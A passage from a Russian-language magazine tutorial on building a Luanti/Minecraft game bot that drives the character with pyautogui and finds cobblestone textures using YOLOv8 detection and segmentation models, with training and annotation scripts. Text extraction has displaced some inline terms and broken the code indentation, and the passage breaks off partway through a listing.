https://docs.ultralytics.com/ru/models/yolov8/#supported-tasks-and-modes
https://www.luanti.org/


БОТ ДЛЯ MINECRAFT
ИЗУЧАЕМ МАШИННОЕ ЗРЕНИЕ
НА ПРИМЕРЕ ИГРОВОГО БОТА

COVERSTORY 
НАЧАЛО СТАТЬИ←

Управление в Minecraft будет отличаться несколькими клавишами, код файла
можно взять в репозитории проекта.

Дальше  — демонстрационный код, который поочередно отправляет все
команды боту, чтобы проверить, как он их выполняет.

Вот как это работает.
Мы подключаем к нашему файлу команды управления ботом из предыду‐

щего листинга.
 при подключении нужно указывать размеры окна игры! Если раз‐

мер неверный, то бот будет неправильно рассчитывать углы для  поворота.
Для  упрощения и  сокращения кода в  этом файле они указаны вручную, ты
можешь их исправить на  свои значения. Далее мы будем определять эти
параметры автоматически. Сейчас же нам надо проверить, что мы можем
управлять персонажем.

Важно:

Зайди в  игру и  найди ровную поверхность, запусти 
в терминале и кликай по окну с игрой, чтобы оно получило фокус.

experiment_1.py

Для Minecraft нужно будет закомментировать одну строку и  раскоммен‐
тировать другую — они помечены в коде.

experiment_1.py
 import pyautogui
 import time
 import cv2
 import os
 import datetime
 import re

# Для Luanti
     from luanti.controller import LuantiController as Controller

# Для Minecraft
# from minecraft.controller import MinecraftController as Controller

# Лучше сделать размер окна игры такого размера
    window_width, window_height = 640, 640

 def run_bot_actions(controller):
   """Выполняет все действия бота."""
     normal_move_time = 2
     run_move_time = 1

     methods = [
       ("устанавливает направление взгляда",

            lambda: (
                controller.turn(0, 90),
                controller.turn(0, -25)

           )
       ),

         ("идет вперед", lambda: controller.move_forward(
normal_move_time)),

         ("идет назад", lambda: controller.move_backward(
normal_move_time)),

         ("идет влево", lambda: controller.move_left(normal_move_time
)),

         ("идет вправо", lambda: controller.move_right(
normal_move_time)),

        ("прыгает", controller.jump),
          ("бежит вперед", lambda: controller.run("forward",

run_move_time)),
          ("бежит назад", lambda: controller.run("backward",

run_move_time)),
          ("бежит влево", lambda: controller.run("left", run_move_time

)),
          ("бежит вправо", lambda: controller.run("right",

run_move_time)),
  

 
       ("приседает и идет вперед", lambda: controller.
crouch_and_move("forward", normal_move_time)),

  
 

       ("приседает и идет назад", lambda: controller.crouch_and_move
("backward", normal_move_time)),

  
 

       ("приседает и идет влево", lambda: controller.crouch_and_move
("left", normal_move_time)),

  
 

       ("приседает и идет вправо", lambda: controller.
crouch_and_move("right", normal_move_time)),

        ("открывает инвентарь", controller.open_inventory),
        ("закрывает инвентарь", controller.close_inventory),

         ("меняет камеру", lambda: controller.change_camera(3)),
       ("выбирает слот 8 и ставит блок",

            lambda: (
               controller.select_inventory_slot(8),
               controller.place_block()
           )
       ),
       ("выбирает слот 5 и копает блок",

            lambda: (
               controller.select_inventory_slot(5),
               controller.mine_block()
           )
       ),
       ("выбирает слот 1 и кушает :)",

            lambda: (
               controller.select_inventory_slot(1),
               time.sleep(0.2),
               pyautogui.mouseDown(button='left'),
               time.sleep(0.1),
               pyautogui.mouseUp(button='left')
           )
       ),

  
 

       ("поворачивается на 10 градусов вправо", lambda: controller.
turn(10, 0)),

  
 

       ("поворачивается на 10 градусов влево", lambda: controller.
turn(-10, 0)),

 
 

       ("поворачивается на 10 градусов влево",lambda: controller.
turn(-10, 0)),

 
 

       ("поворачивается на 10 градусов вправо",lambda: controller.
turn(10, 0)),

        ("Делает скриншот", controller.take_screenshot),
         ("пишет в чат", lambda: controller.send_chat_message("Тест 

пройден, мои поздравления!")),
   ]

       for description, method in methods:
       print(f"[БОТ] {description}")

         if isinstance(method, tuple):
              for action in method:

               action()
       else:
           method()
       time.sleep(0.2)

   if __name__ == "__main__":
   print("Начинаем тестирование всех методов...")
   print("Пожалуйста, переключите фокус на окно с игрой...")
   time.sleep(5)

            if window_width is not None and window_height is not None:
          controller = Controller(window_width, window_height)

       run_bot_actions(controller)
   print(f"[БОТ] работу закончил.")

Если бот зашевелился, значит, есть контроль над  ним и  можно двигаться
дальше.

Чтобы хранить все настройки в одном месте, напишем конфигурационный
файл.

 import os

# Базовое имя каталога, по умолчанию "minebot"
  BASE_DIR_NAME = "minebot"

# Полный путь к базовой директории
   BASE_DIR = os.path.join(os.path.expanduser("~"), BASE_DIR_NAME)

# Путь к модели
      
 

MODEL_PATH = os.path.join(BASE_DIR, "runs", "segment", "train", "
weights", "best.pt")

# Luanti
# Путь к скриншотам для Luanti

   SCREENSHOT_PATH = os.path.join(os.path.expanduser("~"), "snap/
minetest/current/screenshots/")
# Шаблон имени скриншота для Luanti

  SCREENSHOT_PATTERN = r"screenshot_(\d{8}_\d{6})\.png"

# Minecraft
# Путь к скриншотам для Minecraft, исправь путь к твоему майнкрафту
# SCREENSHOT_PATH = os.path.join(os.path.expanduser("~"), 
"Minecraft_1.20.1/screenshots/")
# Шаблон имени скриншота для Minecraft
# SCREENSHOT_PATTERN = r"^\d{4}-\d{2}-\d{2}_\d{2}\.\d{2}\.\d{2}\.
png$"

INFO

Путь к  каталогу снимков указан для  варианта
установки Luanti при  использовании Snap
в качестве источника.

Опять же, если ты хочешь использовать бота в  Minecraft, закомментируй
строки для  Luanti и  раскомментируй для  Minecraft и  укажи правильный путь
к каталогу, в котором у тебя установлен Minecraft.

Если ты устанавливал Luanti из  источника Snap, то путь к  каталогу скрин‐
шотов будет такой:

~/snap/minetest/current/screenshots/


Если устанавливал из пакета .deb, то такой:

~/.minetest/screenshots/


RAM-диск
Частая запись снимков на диск — ресурсоемкий процесс. К тому же скрины
нам нужны для  анализа, а  не для  хранения. Поэтому, если ты будешь раз‐
вивать своего бота, рекомендую записывать снимки на  виртуальный диск
в оперативной памяти. Вот как это можно сделать.

Сначала создаем RAM-диск с помощью tmpfs.
Делаем директорию для него:

sudo mkdir /mnt/ramdisk


Монтируем tmpfs в эту директорию:

 sudo mount -t tmpfs -o size=56M tmpfs /mnt/ramdisk


Здесь   — это  размер RAM-диска. Ты можешь изменить его
в зависимости от объема доступной оперативной памяти. Мы стираем файлы
после использования, поэтому 56 Мбайт — это даже очень много.

size=56M

Теперь создадим символическую ссылку.
Можешь переместить текущий каталог снимков в другое место (если нуж‐

но сохранить существующие снимки):

mv ~/minecraft/screenshots ~/minecraft/screenshots_backup


И создадим символическую ссылку из   на  RAM-

диск:

~/minecraft/screenshots

 ln -s /mnt/ramdisk ~/minecraft/screenshots


Теперь, когда игра будет сохранять снимки в  , они

фактически будут записываться в оперативную память (в ).

~/minecraft/screenshots
/mnt/ramdisk

Вместо  используй правильный каталог сним‐

ков твоей игры.

~/minecraft/screenshots

Если ты устанавливал Minetest через Snap, то наш кастомный набор текстур
нужно положить вот в этот каталог:

~/snap/minetest/current/textures/minebot


Если ставил из пакета deb, то вот сюда:

~.minetest/textures/minebot


У меня  — первый вариант. В  этом каталоге лежит файл, который нам нужен
для распознавания блоков булыжника: default_cobble.png

В Minetest использование собственных текстур включается на  вкладке
«Контент», напротив выбранных текстур должно появиться слово «Включено».

В Minecraft пакеты текстур хранятся в  каталоге 
, если игра установлена в  .

~/minecraft/
resourcepacks/ ~/minecraft

Подготовленный набор (из целой одной текстуры!) можно скачать из 
. Именно на ее распознавание натренирован бот.

ре‐
позитория проекта

Теперь нужно настроить игру на  нужное разрешение. Лучше, чтобы раз‐
меры снимков для  обучения и  размеры снимков, которые мы потом будем
распознавать в игре, были одинаковыми — это повысит качество распозна‐
вания. При этом размер снимков прямо влияет на требуемые для распозна‐
вания ресурсы и на скорость обработки снимков.

Я для  себя решил, что мой бот будет играть сам, автономно, поэтому я
выбрал разрешение пониже — 640 на 640 пикселей. Настроить разрешение
можно в  настройках, в  разделе «Графика». Нужно задать ширину и  высоту
экрана, и не забудь нажать кнопку «Назначить» для сохранения изменений.

На той же странице настроек ниже есть параметр «Угол обзора». Проверь,
что его значение совпадает со значением  в файле 

(по умолчанию 72). Заодно можно отключить все тени и все лишние прелести
освещения и  сглаживания, чтобы текстуры меньше искажались и  распозна‐
вание образов работало лучше. К  тому же игра будет потреблять меньше
ресурсов.

self.fov controller.py

В общем, выключаем вообще все, что выключается!
Для Minecraft нужен чуть более сложный подход. При каждом запуске игры

надо будет вручную из терминала менять разрешение окна на нужное нам.
Выполним команду

wmctrl -l

Она выведет список всех открытых окон. Ищи строку с  названием Minecraft
(например, Minecraft 1.20.1).

Теперь используй xdotool, чтобы изменить размер окна. Например:

 xdotool search --name "Minecraft Forge*" windowsize 640 640


Здесь   — это  часть названия окна, которое ты нашел

с помощью .

Minecraft Forge*
wmctrl -l

Также для  Minecraft дополнительно нужно выключить настройку «Необ‐
работанный ввод» в настройках мыши. Если этого не сделать, то при попытке
изменить направление взгляда бота персонаж будет опускать взгляд в  зем‐
лю.

С настройкой самой игры на  этом все. Можно переходить к  съемкам
набора для обучения модели.

ОБУЧЕНИЕ

Для обучения нам потребуется порядка 150–200 снимков. Я делал их в двух
локациях: одну создал специально и построил там дорогу шириной три блока.
Неподалеку за  холмом поставил столб и  арку  — для  разнообразия. Второй
локацией был город, в котором уже есть вымощенные булыжником дорожки.

Перед выбором места хорошо его осмотри, чтобы нигде неожиданно
не  торчал булыжник. При  разметке снимков тебе надо будет отметить все
совпадения.

Особых рекомендаций по  технике съемки нет, главное  — разнообразие.
И учитывай, что потом на каждом снимке нужно будет выделить прямоуголь‐
ником всю замощенную булыжником поверхность. Если дорога будет идти
по диагонали через весь экран, придется долго и утомительно размечать ее
лесенкой. Я в  таких случаях шел от  самого большого участка, потом сле‐
дующий по величине и дальше все меньшие и меньшие кусочки.

Выделяем булыжник

Напомню, снимок делается кнопкой F12 (или F2 в Minecraft), нам надо поряд‐
ка 150–200. Вперед!

Впрочем, следующий этап  — еще  более утомительный. Запасайся тер‐
пением! Нам нужно на  каждом снимке обвести булыжник прямоугольником.
Сделать это  надо точно и  аккуратно, не  захватывая лишнего и  не оставляя
части булыжника неразмеченными. Качество разметки очень сильно скажется
на качестве обучения модели.

Вот несколько простых инструментов, которые подойдут для аннотации:
  — простой и  понятный. Из  минусов: файлы с  анно‐

тациями он выдает в формате CSV. Это не наш формат, но конвертировать
нетрудно.

• Онлайновый сервис

  — набор из  файлов JavaScript, работающий в  бра‐
узере локально. В поле  загружается текстовый файл с именами
всех классов. В  нашем случае  — файл, содержащий строку 

.

• YOLO-Annotation-Tool
Classes

0 

cobblestone

 — программа, которая работает локально и поднимает свой
веб‑интерфейс. Из  минусов  — нужно ставить много зависимостей,
из плюсов — есть возможность совместной работы над аннотацией фай‐
лов.

• Label Studio

После разметки при помощи YOLO-Annotation-Tool у меня на руках появился
каталог со  снимками в  формате PNG и  файлы с  аннотациями в  формате
YOLO. Образец можно посмотреть в  .репозитории проекта

Формат аннотаций YOLO
Каждая строка файла содержит информацию об  одном объекте на  изоб‐
ражении. Есть тип border box  — это  когда обозначается область, в  которой
находится объект. Эта информация используется для детекта моделей.

Пример:

<class_id> <x_center> <y_center> <width> <height>


Здесь
  — целое число, представляющее номер класса объекта.

Нумерация классов начинается с 0. Например, если у тебя есть два клас‐
са — «дорога» и «препятствие», то класс «дорога» может быть представ‐
лен как 0, а «препятствие» как 1;

• class_id

 и   — координаты центра объекта, нормализованные
относительно ширины и  высоты изображения. Эти значения лежат
в диапазоне от 0 до 1;

• x_center y_center

 и   — схожие значения для ширины и высоты изображения.• width height

Наш  во  всех файлах равен нулю, потому что у  нас только один

класс  — булыжник. Если на  снимках будут объекты разных классов, то
для каждого класса будет свой id. Например:

class_id

0 cactus

1 cobblestone

2 sky

3 sun


Продолжение статьи
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https://gitflic.ru/project/ksandr/minebot
https://annotate.officialstatistics.org/
https://github.com/ManzarIMalik/YOLO-Annotation-Tool
https://labelstud.io/guide/quick_start
https://gitflic.ru/project/ksandr/minebot
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На всякий случай мы сделаем проверку наших файлов аннотации (это не обя‐
зательно, но интересно).

Давай просто наложим на наши изображения маски, записанные в файлах
с аннотациями. Для этого мы воспользуемся небольшим скриптом.

visualize_bbox_mask.py
 import cv2
 import os
   import numpy as np
 import re

# Импортируем переменные из config.py
   from config import BASE_DIR

   def visualize_bbox(image_path, labels_path, output_path):
   """Визуализирует bounding box маски на изображении."""

     img = cv2.imread(image_path)
      if img is None:
       print(f"Ошибка: Не удалось загрузить изображение {image_path}
")
       return

       height, width, _ = img.shape
   # Создаем пустую маску
      mask_img = np.zeros_like(img, dtype=np.uint8)

     if not os.path.exists(labels_path):
       print(f"Предупреждение: Файл меток {labels_path} не найден.")
       return

       with open(labels_path, "r") as f:
          for line in f:

             parts = line.strip().split()
           # Проверяем, что есть ровно пять элементов

              if len(parts) != 5:
               print(f"Предупреждение: Неверное кол-во элементов в 
файле {labels_path}: {line}")
               continue

           try:
                 class_id = int(parts[0])
     

 
               x_center, y_center, box_width, box_height = map(float
, parts[1:])

               # Преобразуем координаты в пиксели
                       x1 = int((x_center - box_width / 2) * width)
                       y1 = int((y_center - box_height / 2) * height)
                       x2 = int((x_center + box_width / 2) * width)
                       y2 = int((y_center + box_height / 2) * height)

               # Рисуем прямоугольник (bounding box) на маске
       

 
               cv2.rectangle(mask_img, (x1, y1), (x2, y2), (0, 255,
0), -1)

              except ValueError as e:
               print(f"Ошибка при обработке строки в файле {
labels_path}: {line}, ошибка: {e}")

   # Объединяем исходное изображение и маску
         overlay = cv2.addWeighted(img, 0.7, mask_img, 0.3, 0)
    cv2.imwrite(output_path, overlay)
   print(f"Визуализация сохранена в {output_path}")

   if __name__ == "__main__":
   # Директория с изображениями
       images_dir = os.path.join(BASE_DIR, "dataset", "check_mask")
   # Директория с метками (в том же месте, что и изображения)
     labels_dir = images_dir

     if not os.path.exists(images_dir):
       print(f"Ошибка: Папка '{images_dir}' не найдена.")
       exit()

   # Регулярное выражение для проверки имени файла
     screenshot_regex = re.compile(r"(\w+)\.png")

      for filename in os.listdir(images_dir):
         match = screenshot_regex.match(filename)

        if match:
              image_path = os.path.join(images_dir, filename)

           # Формируем имя файла меток
               labels_name = os.path.splitext(filename)[0] + ".txt"

           # Путь к файлу меток
              labels_path = os.path.join(labels_dir, labels_name)
               output_name = os.path.splitext(filename)[0] + "_masked.

png"
              output_path = os.path.join(images_dir, output_name)

             visualize_bbox(image_path, labels_path, output_path)

Результат должен выглядеть примерно как на скриншотах.

Создадим такую структуру каталогов:

/dataset

├──/ train_images

├──/ test_images

├──/ val_images

└─── dataset.yaml


Снимки надо распределить по  папкам в  таком соотношении: в  каталоги
 и   по  10–15% от  общего количества снимков,

остальные — в каталог . Это основной набор снимков для обу‐

чения.

test_images val_images
train_images

Названия файлов могут быть любыми, но  на всякий случай лучше
не использовать кириллицу.

Файлы с аннотациями должны быть в том же каталоге, что и снимки. У каж‐
дого снимка должен быть свой файл с аннотацией, с тем же названием, но с
расширением .txt. В  каталоге  файлы аннотаций не  нужны, он
необходим для  проверки того, как  модель обучается. Когда будем делать
автоматическую разметку для  второй модели, советую скинуть сюда файлы
с самой трудной или плохой разметкой, если такие найдутся.

test_images

Еще нам нужен конфиг для описания пути к нашим каталогам со снимками.

dataset/dataset.yaml
# train и val пути к изображениям

 train: /home/ksandr/minebot/dataset/train_images
 val: /home/ksandr/minebot/dataset/val_images
 test: /home/ksandr/minebot/dataset/test_images

# Количество классов
 nc: 1

# Имена классов
 names: ['cobblestone']

В файле указываются абсолютные пути, так что исправь их на свои.
Итак, у нас все готово для запуска обучения первой модели YOLO detect.

INFO

YOLO в названии модели означает You Only Look
Once  — «Ты смотришь только один раз». Более
ранние методы детектирования объектов делали
по  несколько проходов, но  потом удалось обой‐
тись одним.

Для обучения модели запусти в  терминале файл .

И  можешь идти заваривать чай, выгуливать собаку, звонить самому болтли‐
вому приятелю или  смотреть сериал  — конкретный выбор зависит от  того,
насколько мощное у тебя железо.

train_detect_model.py

train_detect_model.py
 import os

   from ultralytics import YOLO
# Импортируем переменные из config.py

   from config import BASE_DIR

# 1. Загрузка модели
# Загрузка предобученной модели YOLOv8n

  model = YOLO("yolov8n.pt")
# Путь к файлу dataset.yaml

    data_path = os.path.join(BASE_DIR, "dataset", "dataset.yaml")

# 2. Обучение модели
model.train(
        data = data_path,
   # Количество эпох обучения
      epochs = 100,
   # Размер пакета
       batch = 16,
   # Размер изображений
       imgsz = 640,
)

Результат

Продолжение статьи
→
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Результатом выполнения скрипта выше будет запуск обучения модели: она
будет тренироваться распознавать на  снимках объекты с  нашей текстурой
«булыжник». Точнее, сначала скачается предобученная модель ,

а затем она дообучится на нашем наборе снимков.

yolov8n.pt

В результате выполнения скрипта будут созданы каталоги 

 (возможно, ,  и  так далее  —

если обучение запускалось несколько раз). В  нем будут две готовые
к использованию модели. Далее мы станем использовать модель 

.

~/minebot/
runs/detect/train/weights/ train2 train3

~/minebot/
runs/detect/train/weights/best.pt

Конечно, сразу хочется проверить, как  это работает. Давай попробуем
найти наши булыжники в  виртуальной среде. Будем делать снимок каждые
пять секунд, рассматривать его и  выводить в  терминале сообщение о  том,
есть булыжник или нет. А потом попробуем повернуть взгляд бота в его сто‐
рону.

Запустим игру. В терминале запусти скрипт  и переведи

фокус на окно с игрой. Если у тебя Minecraft, то закомментируй в начале фай‐
ла строку для  Luanti и  раскомментируй вариант для  Minecraft. То же сделай
в начале метода .

experiment_2.py

def get_window_size()

experiment_2.py
 import pyautogui
 import time
 import cv2
   import numpy as np
 import os
 import re

   from ultralytics import YOLO
# Импортируем переменные из config.py

     from config import SCREENSHOT_PATH, SCREENSHOT_PATTERN, MODEL_PATH

# Для Luanti
     from luanti.controller import LuantiController as Controller

# Для Minecraft
# from minecraft.controller import MinecraftController as Controller

 def get_window_size():
   """Получает размер окна игры."""
   # Делаем снимок, чтобы получить размер окна

   # Для Luanti
   pyautogui.press('f12')
   # Pyautogui.press('F2') # Для Minecraft
   time.sleep(1)

   # Находим снимок
     files = os.listdir(SCREENSHOT_PATH)
     screenshot_file = None
      for file in files:

         if re.match(SCREENSHOT_PATTERN, file):
             screenshot_file = file

           break

     if not screenshot_file:
       print(f"Файл скриншота не найден по пути: {SCREENSHOT_PATH}")

         return None, None

      full_screenshot_path = os.path.join(SCREENSHOT_PATH,
screenshot_file)

   # Узнаем его размер
     screenshot = cv2.imread(full_screenshot_path)
      if screenshot is None:
       print(f"Не удалось прочитать изображение по пути: {
full_screenshot_path}")

         return None, None
       window_height, window_width, _ = screenshot.shape
   print(f"Размер окна игры: {window_width}x{window_height}")
     return window_width, window_height

 def get_screenshot_path():
   """Находит путь к последнему скриншоту."""
     files = os.listdir(SCREENSHOT_PATH)
           

 
screenshot_files = [f for f in files if re.match(

SCREENSHOT_PATTERN, f)]
    if screenshot_files:
       # Сортируем по времени (последний файл первым)
       screenshot_files.sort(reverse=True)

         return os.path.join(SCREENSHOT_PATH, screenshot_files[0])
   else:

        return None

   def detect_cobblestone(image_path, model, confidence_threshold=0.3):
   """Обнаруживает булыжники на изображении с помощью YOLO."""

     img = cv2.imread(image_path)
      if img is None:
       print(f"Ошибка: не удалось прочитать изображение по пути: {
image_path}")
       # Возвращаем пустой список и None в случае ошибки

         return [], None

   # Создаем копию изображения для рисования
     img_copy = img.copy()
     detections = []

     results = model(image_path)
   # Проверяем, что результаты есть
         if results is None or not results:

         return detections, img_copy

   # Итерируемся по результатам
      for result in results:
       # Получаем boxes

         boxes = result.boxes

       # Если boxes нет, то переходим к следующему результату
              if boxes is None or not boxes :

           continue

          for box in boxes:
           # Пропускаем пустой box

              if box is None:
               continue

           # Получаем id класса
             class_id = int(box.cls)

           # Получаем уверенность
             confidence = float(box.conf)

           # Получаем координаты bounding box
                 x1, y1, x2, y2 = map(int, box.xyxy[0])

           # Проверяем, является ли это булыжником с достаточной 
уверенностью

                  if class_id == 1 and confidence >= confidence_threshold:
               # Добавляем в detections

                   detections.append([x1, y1, x2, y2, confidence])
               # Рисуем прямоугольник

       
 

               cv2.rectangle(img_copy, (x1, y1), (x2, y2), (0, 255,
0), 2)

     return detections, img_copy

 def find_largest_cobblestone(detections):
   """Находит наибольший булыжник из списка обнаружений."""
     if not detections:

        return None
   # Площадь прямоугольника
           
   

largest_cobblestone = max(detections, key=lambda x: (x[2] - x[0])
* (x[3] - x[1]))
    return largest_cobblestone

   def turn_to_cobblestone(controller, cobblestone_bbox, img):
   """Поворачивает игрока к булыжнику."""
          if cobblestone_bbox is None or img is None:
       return

   # Расчет поворота
       center_x = controller.screen_width / 2
       center_y = controller.screen_height / 2
         bbox_center_x = (cobblestone_bbox[0] + cobblestone_bbox[2]) / 2
         bbox_center_y = (cobblestone_bbox[1] + cobblestone_bbox[3]) / 2

           degrees_x = (bbox_center_x - center_x) * (controller.fov /
controller.screen_width)
           degrees_y = (bbox_center_y - center_y) * (controller.fov /
controller.screen_height)

   # Рисуем точку
   # Красная точка
        
  
cv2.circle(img, (int(bbox_center_x), int(bbox_center_y)), 5, (0,

0, 255), -1)

    controller.turn(degrees_x, degrees_y)

 def show_image(image):
   """Сохраняет и отображает изображение."""
    cv2.imshow("Detection", image)
   # Отображаем изображение (необходима пауза, чтобы окно успело 
отрисоваться)
   cv2.waitKey(1)

   if __name__ == "__main__":
   print("Скрипт запущен. Для завершения нажмите Ctrl+C.")

   # Загрузка модели YOLO
     model = YOLO(MODEL_PATH)

   # Получение размеров окна игры
      window_width, window_height = get_window_size()
          if window_width is None or window_height is None:
       print("Не удалось получить размеры окна. Завершение работы.")
       exit()

   # Инициализация контроллера Luanti
      controller = Controller(window_width, window_height)

   try:
        while True:

           # Делаем скриншот
           controller.take_screenshot()
           # Ожидаем сохранения скриншота
           time.sleep(1)

             screenshot_path = get_screenshot_path()
              if screenshot_path is None:

               print("Скриншот не найден.")
               continue
           try:
               # Обнаружение булыжников

   
 

               detections, img_with_mask = detect_cobblestone(
screenshot_path, model)
               print(f"Найдено булыжников: {len(detections)}")

                  for detection in detections:
                         x1, y1, x2, y2, confidence = detection

                   print(f"Булыжник: ({x1}, {y1}, {x2}, {y2}), 
уверенность = {confidence:.2f}")

                 largest_cobblestone = find_largest_cobblestone(
detections)

                   if largest_cobblestone is not None:
                   print(f"Поворот к наибольшему булыжнику: {
largest_cobblestone}")

 
 

                   turn_to_cobblestone(controller,
largest_cobblestone, img_with_mask)
                   show_image(img_with_mask)

              except Exception as e:
               print(f"Ошибка: {e}")

           # Пауза между итерациями
           time.sleep(5)

    except KeyboardInterrupt:
       print("\nСкрипт завершен пользователем.")

Немного побегав и поняв, что модель, в принципе, работает, перейдем к сле‐
дующему этапу обучения.

Для обучения второй модели будем использовать те же снимки, но анно‐
тацию сделаем не типа border box, а сегментационную. То есть объекты будут
выделены не  прямоугольниками, а  точно по  контуру. Для  этого есть метод
автоматической аннотации.

Создай новый каталог  со  структурой, идентичной структуре

каталога . Внутри создай каталог  со  снимками, которые мы

будем размечать. Теперь можно сделать еще сотню снимков — чем больше
разнообразного материала, тем лучше будет обучение модели.

dataset_seg
dataset img

Запусти в терминале скрипт  для автоаннотации сним‐

ков, расположенных в каталоге .

auto_annotate.py
~/minebot/dataset_seg/img

auto_annotate.py
 import os

   from ultralytics.data.annotator import auto_annotate
   from pathlib import Path

# Импортируем переменные из config.py
    from config import BASE_DIR, MODEL_PATH

  def annotate_images(images_dir, output_dir):

     image_files = []
      for filename in os.listdir(images_dir):

        if filename.endswith('.png'):
            image_files.append(os.path.join(images_dir, filename))

      for image_path in image_files:
       auto_annotate(

            data        = Path(image_path),
              output_dir = output_dir,

               det_model = MODEL_PATH,
               sam_model = 'sam_b.pt'

           )

   if __name__ == "__main__":
   # Директория со снимками
       images_dir = os.path.join(BASE_DIR, "dataset_seg", "img")
     output_dir = images_dir
     if not os.path.exists(images_dir):
       print(f"Ошибка: Папка '{images_dir}' не найдена.")
       exit()
   print(f"Начинаю автоматическую аннотацию изображений в '{
images_dir}'.")
    annotate_images(images_dir, output_dir)
   print(f"Автоматическая аннотация завершена. Файлы меток 
сохранены в '{output_dir}'.")

При запуске этого скрипта скачивается и  используется предобученная
модель , которая ищет внутри border box объект и  обводит его
по контуру. Сам border box на снимке ищет обученная нами модель .

sam_b.pt
detect

Результатом работы будут файлы аннотации для всех изображений в том
же каталоге, что и  сами картинки. Снимки разложи по  каталогам в  такой же
пропорции, что и для первой модели.

Для наглядности наложим маски аннотаций на  файлы и  посмотрим, что
выделили наши модели. Для этого скопируй снимки и файлы с аннотациями
в  каталог  и  выполни скрипт

.
~/minebot/dataset_seg/check_mask

visualize_seg_mask.py

visualize_seg_mask.py
 import cv2
 import os
   import numpy as np
 import re

# Импортируем переменные из config.py
   from config import BASE_DIR

   def visualize_segmentation(image_path, labels_path, output_path):
   """Визуализирует маски сегментации на изображении."""

     img = cv2.imread(image_path)
      if img is None:
       print(f"Ошибка: Не удалось загрузить изображение {image_path}
")
       return

       height, width, _ = img.shape
   # Создаем пустую маску
      mask_img = np.zeros_like(img, dtype=np.uint8)

     if not os.path.exists(labels_path):
       print(f"Предупреждение: Файл меток {labels_path} не найден.")
       return

       with open(labels_path, "r") as f:
          for line in f:

             parts = line.strip().split()
              if len(parts) < 4:

               print(f"Предупреждение: Неверное кол-во элементов в 
файле {labels_path}: {line}")
               continue

           try:
               # 1-е значение в строке — класс

                 class_id = int(parts[0])
               # Все остальные — координаты

                     coords = [float(x) for x in parts[1:]]
               # Преобразуем координаты в пиксели

     
 

               coords = np.array(coords).reshape(-1, 2) * np.array([
width, height])

                 coords = coords.astype(np.int32)
               # Заполняем маску цветом для отображения

                   cv2.fillPoly(mask_img, [coords], (0, 255, 0))

              except ValueError as e:
                 print(f"Ошибка при обработке строки в файле {
labels_path}: {line}, ошибка: {e}")

              except Exception as e:
                 print(f"Неизвестная ошибка при обработке строки в 
файле {labels_path}: {line}, ошибка: {e}")

   # Объединяем исходное изображение и маску
         overlay = cv2.addWeighted(img, 0.7, mask_img, 0.3, 0)
    cv2.imwrite(output_path, overlay)
   print(f"Визуализация сохранена в {output_path}")

   if __name__ == "__main__":
   # Директория с изображениями
       images_dir = os.path.join(BASE_DIR, "dataset_seg", "check_mask")
     labels_dir = images_dir

     if not os.path.exists(images_dir):
       print(f"Ошибка: Папка '{images_dir}' не найдена.")
       exit()

   # Регулярное выражение для проверки имени файла
     screenshot_regex = re.compile(r"(\w+)\.png")

      for filename in os.listdir(images_dir):
         match = screenshot_regex.match(filename)

        if match:
              image_path = os.path.join(images_dir, filename)

           # Формируем имя файла меток
               labels_name = os.path.splitext(filename)[0] + ".txt"

           # Путь к файлу меток
              labels_path = os.path.join(labels_dir, labels_name)
               output_name = os.path.splitext(filename)[0] + "_masked.

png"
              output_path = os.path.join(images_dir, output_name)

             visualize_segmentation(image_path, labels_path,
output_path)

Результат должен выглядеть так, как на скриншотах ниже.

Продолжение статьи
→
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Снимки с  самыми неудачными масками поместим в  каталог 

.

~/minebot/
dataset_seg/test_images

Просмотри каждый файл: нет ли таких, где маска наложилась не  на весь
объект целиком или пометила области, в которых нет булыжника? Если такое
попадется, то считай, что это плохая разметка. Такие файлы нельзя исполь‐
зовать для обучения модели, но они пригодятся для тестирования. Перемес‐
ти такие файлы в каталог .~/minebot/dataset_seg/test_images

После обучения сегментационной модели будет интересно сравнить,
как  изменилось качество обнаружения. Для  этого надо будет в  файле авто‐
аннотации  заменить строку  стро‐

кой .

auto_annotate.py sam_model='sam_b.pt'
sam_model='Путь к твоей сегментационной модели'

Теперь напишем конфигурационный файл 
.

~/minebot/dataset_seg/
dataset.yaml

Листинг dataset.yaml
# train и val пути к изображениям

 train: /home/ksandr/minebot/dataset_seg/train_images
 val: /home/ksandr/minebot/dataset_seg/val_images
 test: /home/ksandr/minebot/dataset_seg/test_images

# Количество классов
 nc: 1

# Имена классов
 names: ['cobblestone']

Все просто, поменялись только пути к каталогам.
Скрипт для  запуска обучения сегментационной модели  —

.train_segment_model.py

train_model_seg.py
 import os

   from ultralytics import YOLO
# Импортируем переменные из config.py

   from config import BASE_DIR

# 1. Загрузка модели
# Загрузка предобученной модели yolov8n-seg

  model = YOLO("yolov8n-seg.pt")
# Путь к файлу dataset.yaml

    data_path = os.path.join(BASE_DIR, "dataset_seg", "dataset.yaml")

# 2. Обучение модели
model.train(
        data = data_path,
   # Количество эпох обучения
      epochs = 150,
   # Размер пакета
       batch = 16,
   # Размер изображений
       imgsz = 640,
)

Результат

Отличие от  предыдущего файла в  том, что мы скачиваем сегментационную
предобученную модель, используем другой тип аннотации снимков и  уве‐
личиваем количество эпох. Если первая детекционная модель нам была нуж‐
на только для  разметки файлов аннотаций для  обучения второй модели, то
к обучению этой модели стоит отнестись со всей серьезностью, так как имен‐
но она и будет анализировать наши снимки.

Обучение этой модели займет в несколько раз больше времени, чем обу‐
чение предыдущей. Так что опять идем смотреть сериал.

После окончания обучения (хорошо, если не  сериала) у  нас появится
каталог , содержащий две
модели.

~/minebot/runs/segment/train/weights/

Для начала мы опять проверим, как  модель «видит» булыжник. Запусти
игру, запусти скрипт  в  терминале, переключи фокус
на  окно с  игрой. Если у  тебя Minecraft, снова раскомментируй нужную
и  закомментируй ненужную строки в  начале скрипта и  в начале метода 

.

experiment_3.py

def 
get_window_size()

experiment_3.py
 import pyautogui
 import time
 import cv2
   import numpy as np
 import os
 import re
 import math

   from ultralytics import YOLO
# Импортируем переменные из config.py

     from config import SCREENSHOT_PATH, SCREENSHOT_PATTERN, MODEL_PATH

# Для Luanti
     from luanti.controller import LuantiController as Controller

# Для Minecraft
# from minecraft.controller import MinecraftController as Controller

 def get_window_size():
   """Получает размер окна игры."""
   # Делаем снимок, чтобы получить размер окна

   # Для Luanti
   pyautogui.press('f12')
   # Pyautogui.press('F2') # Для Minecraft
   time.sleep(1)

   # Ищем файл снимка
     files = os.listdir(SCREENSHOT_PATH)
     screenshot_file = None
      for file in files:

         if re.match(SCREENSHOT_PATTERN, file):
             screenshot_file = file

           break

     if not screenshot_file:
